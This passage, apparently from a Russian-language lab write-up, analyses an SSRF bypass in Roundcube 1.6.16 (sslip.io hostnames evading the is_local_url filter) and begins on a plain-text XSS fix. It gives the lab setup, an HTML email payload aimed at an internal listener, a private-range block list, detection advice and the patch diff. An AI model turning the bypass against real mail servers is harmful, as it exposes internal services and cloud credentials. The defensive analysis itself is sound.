&#8216;172.16.0.0\/12&#8217;,            &#8216;192.168.0.0\/16&#8217;, &#8216;169.254.0.0\/16&#8217;, &#8216;::1\/128&#8217;, &#8216;fc00::\/7&#8217;,        ];        foreach ($nets as $net) {            $range = Factory::parseRangeString($net);            if ($range-&gt;contains($address)) {                return true; \/\/ \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u043c            }        }        return false;    }    &#8230;}\u041f\u0440\u044f\u043c\u044b\u0435 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0447\u0435\u0441\u0442\u043d\u043e: \u0432\u0435\u0441\u044c RFC1918, loopback, link-local \u0441 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c\u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043d\u0430 169.254. \u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c href=&#187;http:\/\/127.0.0.1&#8243; \u0438\u043b\u0438 http:\/\/169.254.169.254 \u043d\u0435 \u0432\u044b\u0439\u0434\u0435\u0442, \u043e\u0442\u0441\u0435\u043a\u0430\u0435\u0442\u0441\u044f.\u041d\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 nip.io. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0437\u043d\u0430\u043b\u0438 \u043f\u0440\u043e DNS-\u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0435\u0437\u043e\u043b\u0432\u044f\u0442 \u0438\u043c\u044f \u0432\u0438\u0434\u0430 10.0.0.1.nip.io \u0432 IP 10.0.0.1. \u0422\u0430\u043a\u043e\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0437\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c \u0438\u043c\u0435\u043d\u0435\u043c: is_local_url \u0432\u0438\u0434\u0438\u0442 \u0434\u043e\u043c\u0435\u043d, \u0430 \u043d\u0435 IP, \u0438 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 nip.io \u0442\u0443\u0442 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 \u0430\u0434\u0440\u0435\u0441 \u043f\u0435\u0440\u0435\u0434 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439. \u041b\u043e\u0433\u0438\u0447\u043d\u043e.\u0412\u043e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e nip.io \u043d\u0435 \u043e\u0434\u0438\u043d. \u0415\u0441\u0442\u044c sslip.io, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u0435\u043b\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u0438 \u0432 1.6.16 \u0435\u0433\u043e \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u043d\u0435\u0442. \u0422\u043e \u0435\u0441\u0442\u044c 172.30.0.3.sslip.io \u0434\u043b\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u043e\u043c\u0435\u043d. \u041e\u043d\u0430 \u0435\u0433\u043e \u043d\u0435 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442, parseAddressString \u043e\u0442 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438 \u043d\u0435 \u0434\u0430\u0451\u0442 IP, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u043e\u0432 \u043d\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442, \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 false. \u041d\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439. \u0418\u0434\u0451\u043c.\u0421\u0442\u0435\u043d\u0434\u0412\u0441\u0451 \u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u0437 \u0442\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432, \u044f\u0449\u0438\u043a\u0438 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435. \u0416\u0435\u0440\u0442\u0432\u0430 \u044d\u0442\u043e Roundcube 1.6.16 (\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0434\u043e \u0444\u0438\u043a\u0441\u0430), \u043f\u043e\u0447\u0442\u043e\u0432\u0438\u043a GreenMail, \u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0441 \u043e\u0431\u044b\u0447\u043d\u044b\u043c python -m http.server, \u0432\u0438\u0434\u0438\u043c\u044b\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0442\u0438 \u043a\u0430\u043a 172.30.0.3.services:  roundcube:    image: roundcube\/roundcubemail:1.6.16-apache    environment:      ROUNDCUBEMAIL_DEFAULT_HOST: greenmail      ROUNDCUBEMAIL_SMTP_SERVER: greenmail    ports: [&#171;127.0.0.1:8091:80&#187;]  greenmail:    image: greenmail\/standalone:latest    environment:      GREENMAIL_OPTS: &#171;-Dgreenmail.setup.test.all -Dgreenmail.users=victim@lab.local:victimpass,attacker@lab.local:attackerpass&#187;  attacker:    image: python:3.12-alpine    command: python -m http.server 8000\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0433\u0430\u0434\u0430\u0442\u044c:$ docker exec rc-victim head -3 \/var\/www\/html\/CHANGELOG.md# Changelog Roundcube Webmail## Release 1.6.16\u0410\u0442\u0430\u043a\u0430\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e \u0436\u0435\u0440\u0442\u0432\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439 \u0432 \u0448\u0430\u043f\u043a\u0435. \u0425\u043e\u0441\u0442 \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u043d \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 is_local_url: \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 DNS \u0437\u0430\u0440\u0435\u0437\u043e\u043b\u0432\u0438\u0442 172.30.0.3.sslip.io \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 172.30.0.3, \u0433\u0434\u0435 \u0441\u0438\u0434\u0438\u0442 \u043c\u043e\u0439 listener.html = (    &#8216;&lt;html&gt;&lt;head&gt;&#8217;    &#8216;&lt;link rel=&#187;stylesheet&#187; href=&#187;http:\/\/172.30.0.3.sslip.io:8000\/ssrf-proof.css&#187;&gt;&#8217;    &#8216;&lt;\/head&gt;&lt;body&gt;&lt;p&gt;Styled newsletter.&lt;\/p&gt;&lt;\/body&gt;&lt;\/html&gt;&#8217;)\u0417\u0430\u0445\u043e\u0436\u0443 \u0432 \u0432\u0435\u0431\u043c\u0435\u0439\u043b \u0436\u0435\u0440\u0442\u0432\u043e\u0439, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e \u043f\u0438\u0441\u044c\u043c\u043e. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e Roundcube \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442 \u0438 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u043b\u0430\u0448\u043a\u0443 \u0441 \u043a\u043d\u043e\u043f\u043a\u043e\u0439 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c, \u0442\u0430\u043a \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435 zero-click, \u0430 \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0420\u0430\u0437\u0440\u0435\u0448\u0430\u044e \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442 (\u0432 \u0441\u0442\u0435\u043d\u0434\u0435 \u044f \u0434\u0451\u0440\u043d\u0443\u043b \u0442\u0443 \u0436\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u0447\u0442\u043e \u0432\u0438\u0441\u0438\u0442 \u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0435). \u0418 \u0441\u043c\u043e\u0442\u0440\u044e \u0432 \u043b\u043e\u0433 listener\u2019\u0430:172.30.0.4 &#8212; &#8212; [21\/Jul\/2026 18:13:38] &#171;GET \/ssrf-proof.css HTTP\/1.1&#187; 404\u0412\u043e\u0442 \u043e\u043d\u0430, \u0441\u0443\u0442\u044c. \u0417\u0430\u043f\u0440\u043e\u0441 \u043f\u0440\u0438\u0448\u0451\u043b, \u0438 \u043f\u0440\u0438\u0448\u0451\u043b \u043e\u043d \u0441 \u0430\u0434\u0440\u0435\u0441\u0430 172.30.0.4. \u042d\u0442\u043e \u043d\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b. \u0411\u0440\u0430\u0443\u0437\u0435\u0440 \u0438\u043c\u044f 172.30.0.3.sslip.io \u0432\u043e\u043e\u0431\u0449\u0435 \u0441\u043d\u0430\u0440\u0443\u0436\u0438 \u0431\u044b \u043d\u0435 \u0443\u0432\u0438\u0434\u0435\u043b. 172.30.0.4 \u044d\u0442\u043e \u0441\u0430\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 Roundcube, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0447\u0435\u0440\u0435\u0437 hostname -i. \u0422\u043e \u0435\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e \u043c\u043e\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0438\u0437 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u0445\u043e\u0434\u0438\u043b \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0430\u0434\u0440\u0435\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0443\u043a\u0430\u0437\u0430\u043b. 404 \u0442\u0443\u0442 \u043d\u0435\u0432\u0430\u0436\u0435\u043d, \u0432\u0430\u0436\u043d\u043e, \u0447\u0442\u043e \u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u043e\u0441\u0442\u043e\u044f\u043b\u0441\u044f. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c SSRF: \u044f \u043d\u0435 \u0438\u043c\u0435\u044e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u043e \u043f\u0438\u0441\u044c\u043c\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u043b \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0442\u0443\u0434\u0430 \u0437\u0430 \u043c\u0435\u043d\u044f.\u041d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0432\u043c\u0435\u0441\u0442\u043e \u043c\u043e\u0435\u0433\u043e \u043f\u0443\u0441\u0442\u043e\u0433\u043e listener\u2019\u0430 \u043c\u043e\u0433 \u0431\u044b\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u0441\u043e\u0441\u0435\u0434\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u0430\u0434\u043c\u0438\u043d\u043a\u0430 \u0431\u0435\u0437 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0441\u043d\u0430\u0440\u0443\u0436\u0438, \u0431\u0430\u0437\u0430 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c \u043f\u043e\u0440\u0442\u0443. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0431\u043e\u043b\u044c\u043d\u043e \u0441 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c metadata-\u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u043e\u043c \u043d\u0430 169.254.169.254: \u043e\u0434\u0438\u043d \u0442\u0430\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043e\u0442\u0434\u0430\u0451\u0442 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043e\u0442 \u0432\u0441\u0435\u0433\u043e \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430. \u042d\u0442\u0430 \u0432\u0435\u0440\u0441\u0438\u044f \u0435\u0433\u043e \u0443\u0436\u0435 \u043f\u0440\u0438\u043a\u0440\u044b\u0432\u0430\u0435\u0442 (169.254 \u0432 \u0431\u043b\u043e\u043a-\u043b\u0438\u0441\u0442\u0435), \u043d\u043e \u0441\u0430\u043c \u043a\u043b\u0430\u0441\u0441 \u0430\u0442\u0430\u043a\u0438 \u0440\u043e\u0432\u043d\u043e \u043f\u0440\u043e \u044d\u0442\u043e, \u0438 \u043b\u044e\u0431\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u043c\u043e\u0442\u0440 \u0432 \u0444\u0438\u043b\u044c\u0442\u0440\u0435 \u0441\u043d\u043e\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u0440\u043e\u0433\u0443 \u043a \u043a\u0440\u0435\u0434\u0430\u043c. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0432 \u043f\u0440\u043e\u043a\u0441\u0438 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u044e\u044e \u0441\u0435\u0442\u044c.\u041a\u0430\u043a \u043f\u043e\u0439\u043c\u0430\u0442\u044c \u0432 \u043b\u043e\u0433\u0430\u0445SSRF \u0432 \u0432\u0435\u0431\u043c\u0435\u0439\u043b\u0435 \u0443\u0434\u043e\u0431\u043d\u043e \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0439 \u0441\u043b\u0435\u0434: \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0435 HTTP-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441\u0430\u043c\u043e\u0433\u043e \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u043e\u043d \u0445\u043e\u0434\u0438\u0442\u044c \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d. \u041d\u0435 \u043a\u043b\u0438\u0435\u043d\u0442, \u043d\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u0430 php-fpm \u0438\u043b\u0438 apache \u0432\u0430\u0448\u0435\u0433\u043e Roundcube \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u043a\u043e\u043d\u043d\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0430\u0434\u0440\u0435\u0441.\u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0434\u043b\u044f \u0430\u043b\u0435\u0440\u0442\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0435: \u043b\u044e\u0431\u043e\u0439 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043a\u043e\u043d\u043d\u0435\u043a\u0442 \u043e\u0442 UID \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0432 \u0431\u0435\u043b\u043e\u043c \u0441\u043f\u0438\u0441\u043a\u0435 (\u0432\u0430\u0448\u0438 SMTP, IMAP, \u0430\u043f\u0434\u0435\u0439\u0442-\u0441\u0435\u0440\u0432\u0435\u0440\u044b), \u044d\u0442\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442. \u041d\u0430 \u0441\u0442\u0435\u043d\u0434\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u0430 \u0441\u0442\u0440\u043e\u0447\u043a\u0430 \u0432 \u043b\u043e\u0433\u0435 listener\u2019\u0430 \u0441 \u0430\u0434\u0440\u0435\u0441\u043e\u043c 172.30.0.4, \u0442\u043e \u0435\u0441\u0442\u044c \u0441 IP \u0441\u0430\u043c\u043e\u0433\u043e Roundcube. \u0412 \u043f\u0440\u043e\u0434\u0435 \u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d \u043b\u043e\u0432\u0438\u0442\u0441\u044f \u043d\u0430 egress-\u0444\u0438\u043b\u044c\u0442\u0440\u0435 \u0438\u043b\u0438 \u0432 \u043b\u043e\u0433\u0430\u0445 reverse-proxy: \u0441\u0435\u0440\u0432\u0438\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u0432\u0434\u0440\u0443\u0433 \u0441\u0430\u043c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0438\u0445 \u0441\u043b\u0430\u0442\u044c.\u0424\u0438\u043a\u0441\u0417\u0430\u043f\u043b\u0430\u0442\u043a\u0430 \u0432 \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443. \u0420\u0430\u0437\u0432\u043e\u0440\u043e\u0442 \u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0445 DNS-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0442\u0435\u043f\u0435\u0440\u044c \u043b\u043e\u0432\u0438\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e nip.io:- if (preg_match(&#8216;\/([0-9a-f.-]+)\\.nip\\.io$\/i&#8217;, $host, $matches)) {+ if (preg_match(&#8216;\/([0-9a-f.-]+)\\.(nip|sslip)\\.io$\/i&#8217;, $host, $matches)) {\u041e\u0431\u043d\u043e\u0432\u0438\u043b \u043e\u0431\u0440\u0430\u0437 \u0434\u043e 1.6.17, \u043f\u0435\u0440\u0435\u0441\u043e\u0437\u0434\u0430\u043b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b \u0440\u043e\u0432\u043d\u043e \u0442\u043e \u0436\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u0438\u0437 \u0442\u043e\u0433\u043e \u0436\u0435 \u044f\u0449\u0438\u043a\u0430. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043b, \u0447\u0442\u043e \u0437\u0430\u043f\u043b\u0430\u0442\u043a\u0430 \u043d\u0430 \u043c\u0435\u0441\u0442\u0435:$ docker exec rc-victim grep -n &#171;sslip&#187; &#8230;\/rcube_utils.php447: if (preg_match(&#8216;\/([0-9a-f.-]+)\\.(nip|sslip)\\.io$\/i&#8217;, $host, $matches)) {\u041e\u0442\u043a\u0440\u044b\u043b \u043f\u0438\u0441\u044c\u043c\u043e, \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442. \u041b\u043e\u0433 listener\u2019\u0430 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f, \u0442\u0430\u043c \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442 1.6.16. \u041d\u043e\u0432\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043d\u0435\u0442. \u0422\u0435\u043f\u0435\u0440\u044c is_local_url \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 172.30.0.3.sslip.io \u0432 172.30.0.3, \u0432\u0438\u0434\u0438\u0442 \u043f\u043e\u043f\u0430\u0434\u0430\u043d\u0438\u0435 \u0432 172.16.0.0\/12 \u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 true. \u0421\u0435\u0440\u0432\u0435\u0440 \u043d\u0438\u043a\u0443\u0434\u0430 \u043d\u0435 \u0438\u0434\u0451\u0442. \u0414\u044b\u0440\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u0430.\u0417\u0430\u043e\u0434\u043d\u043e \u0444\u0438\u043a\u0441 \u043f\u043e\u0434\u0442\u044f\u043d\u0443\u043b \u0438 IPv6-\u043e\u0431\u0445\u043e\u0434: \u0431\u044b\u043b\u043e preg_replace(&#8216;\/^::ffff:\/i&#8217;, &#8230;), \u0441\u0442\u0430\u043b\u043e \/^[0:]*:ffff:\/i, \u0442\u043e \u0435\u0441\u0442\u044c \u0442\u0435\u043f\u0435\u0440\u044c \u043b\u043e\u0432\u044f\u0442\u0441\u044f \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432\u0438\u0434\u0430 0:0:0:0:0:ffff:127.0.0.1.\u0412\u0442\u043e\u0440\u0430\u044f 10.0, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435 \u043f\u043e\u0434\u0436\u0435\u0447\u044c: CVE-2026-54433\u0417\u0434\u0435\u0441\u044c \u0431\u0443\u0434\u0435\u0442 \u0447\u0435\u0441\u0442\u043d\u043e. \u041f\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0436\u0438\u0432\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0442, \u0438 \u044f \u043e\u0431\u044a\u044f\u0441\u043d\u044e \u043f\u043e\u0447\u0435\u043c\u0443, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u0430\u043c \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u0443\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0435\u0435 \u0433\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.CVE-2026-54433 \u044d\u0442\u043e, \u043f\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e, zero-click stored XSS \u0432 \u0440\u0435\u043d\u0434\u0435\u0440\u0435 plain-text \u043f\u0438\u0441\u0435\u043c. \u0417\u0432\u0443\u0447\u0438\u0442 \u044d\u0444\u0444\u0435\u043a\u0442\u043d\u043e: \u0434\u0430\u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0442\u0435\u043a\u0441\u0442, \u0433\u0434\u0435 \u043f\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044e \u043d\u0435\u0442 HTML, \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0447\u0443\u0436\u043e\u0439 JavaScript. \u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u0432 \u043b\u0438\u043d\u043a\u043e\u0432\u0430\u043d\u0438\u0438. \u041a\u043e\u0433\u0434\u0430 Roundcube \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e, \u043e\u043d \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0432 \u043d\u0451\u043c email-\u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u043e\u0431\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0438\u0445 \u0432 \u043a\u043b\u0438\u043a\u0430\u0431\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u0433\u0438. \u0412\u043e\u0442 \u043d\u0430 \u044d\u0442\u043e\u043c \u0448\u0430\u0433\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 HTML \u0438 \u0436\u0438\u0432\u0451\u0442 \u0431\u0430\u0433.\u0421\u043c\u043e\u0442\u0440\u044e \u0444\u0438\u043a\u0441-\u043a\u043e\u043c\u043c\u0438\u0442. \u041e\u043d \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0438 \u043c\u0435\u043d\u044f\u0435\u0442 \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443, \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0443 \u0434\u043b\u044f query-\u0447\u0430\u0441\u0442\u0438 \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 rcube_string_replacer.php:- . &#171;(\\?[$url1$url2]+)?&#187;        \/\/ \u0431\u044b\u043b\u043e: \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 ?+ . &#8216;(\\?[^&lt;&gt;\\s]+)?&#8217;             \/\/ \u0441\u0442\u0430\u043b\u043e: \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u043c &lt; &gt; \u0438 \u043f\u0440\u043e\u0431\u0435\u043b\u044b\u0421\u043c\u044b\u0441\u043b \u043f\u043e\u043d\u044f\u0442\u0435\u043d: \u0440\u0430\u043d\u044c\u0448\u0435 \u0432 \u0445\u0432\u043e\u0441\u0442\u0435 mailto-\u0441\u0441\u044b\u043b\u043a\u0438 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u043b\u0438\u0441\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0440\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0443, \u0430 